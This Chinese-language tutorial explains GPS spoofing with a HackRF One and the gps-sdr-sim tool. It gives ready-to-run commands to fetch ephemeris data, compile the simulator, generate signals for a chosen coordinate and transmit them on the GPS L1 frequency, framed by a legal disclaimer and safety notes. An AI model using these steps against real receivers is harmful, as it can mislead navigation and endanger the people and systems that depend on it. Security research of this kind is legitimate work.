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GPS欺骗

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概述

GPS 欺骗（GPS Spoofing）是一种利用软件定义无线电（SDR）设备发射伪造 GPS 信号，使目标设备的定位产生偏差的攻击技术。本文介绍使用 HackRF One 和 gps-sdr-sim 工具进行 GPS 信号欺骗的完整流程。

免责声明： GPS 欺骗在大多数国家属于违法行为。本文仅用于安全研究和教育目的，严禁用于任何非法活动。

工具与原理

gps-sdr-sim 简介

gps-sdr-sim 是一个开源的 GPS 信号模拟器，它可以根据真实的 GPS 星历数据和指定的地理坐标，生成模拟的 GPS 基带信号采样数据。生成的数据可以通过 HackRF One 等 SDR 设备在 GPS L1 频段（1575.42 MHz）进行发射。

攻击流程

  1. 下载真实的 GPS 星历数据
  2. 使用 gps-sdr-sim 生成指定位置的 GPS 基带采样数据
  3. 使用 HackRF One 发射伪造的 GPS 信号

步骤一：下载 GPS 星历数据

GPS 星历数据（Ephemeris Data）包含了卫星的轨道参数，可以从各个 FTP 站点下载。国内推荐使用武汉大学 GNSS 数据中心：

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ftp://igs.gnsswhu.cn/pub/gps/data/daily/

下载对应日期的广播星历文件（.n 格式），例如 brdc1830.20n。

步骤二：编译 gps-sdr-sim

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# 克隆项目
git clone https://github.com/osqzss/gps-sdr-sim

# 编译
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim

步骤三：生成采样数据

选择一个目标位置的经纬度坐标（例如天府广场：104.065751, 30.657421），然后运行以下命令生成基带采样数据：

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./gps-sdr-sim -e starData/brdc1830.20n -l 104.065751,30.657421,500 -b 8 -d 180

参数说明：

参数 说明
-e GPS 星历数据文件路径
-l 目标位置：经度,纬度,海拔（米）
-b 数据位宽（HackRF 使用 8 位）
-d 模拟持续时间（秒），默认 300 秒，越长文件越大

更多参数请参考编译好的可执行文件帮助信息：./gps-sdr-sim -h

步骤四：使用 HackRF 发射信号

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hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R

参数说明：

参数 说明
-t 采样数据文件（由 gps-sdr-sim 生成）
-f 发射频率（GPS L1 = 1575.42 MHz = 1575420000 Hz）
-s 采样频率（2.6 MHz）
-a 是否开启放大器（1=Enable，0=Disable）
-x TX VGA 增益（可选 0~47，建议从 0 开始，效果不佳再增大）
-R 循环发送

注意事项：

  • TX VGA 增益建议从 0 开始，逐步增大，避免干扰范围过大
  • 发射前确保周围无重要设备依赖 GPS 定位
  • 仅在屏蔽环境或经过授权的场所进行实验

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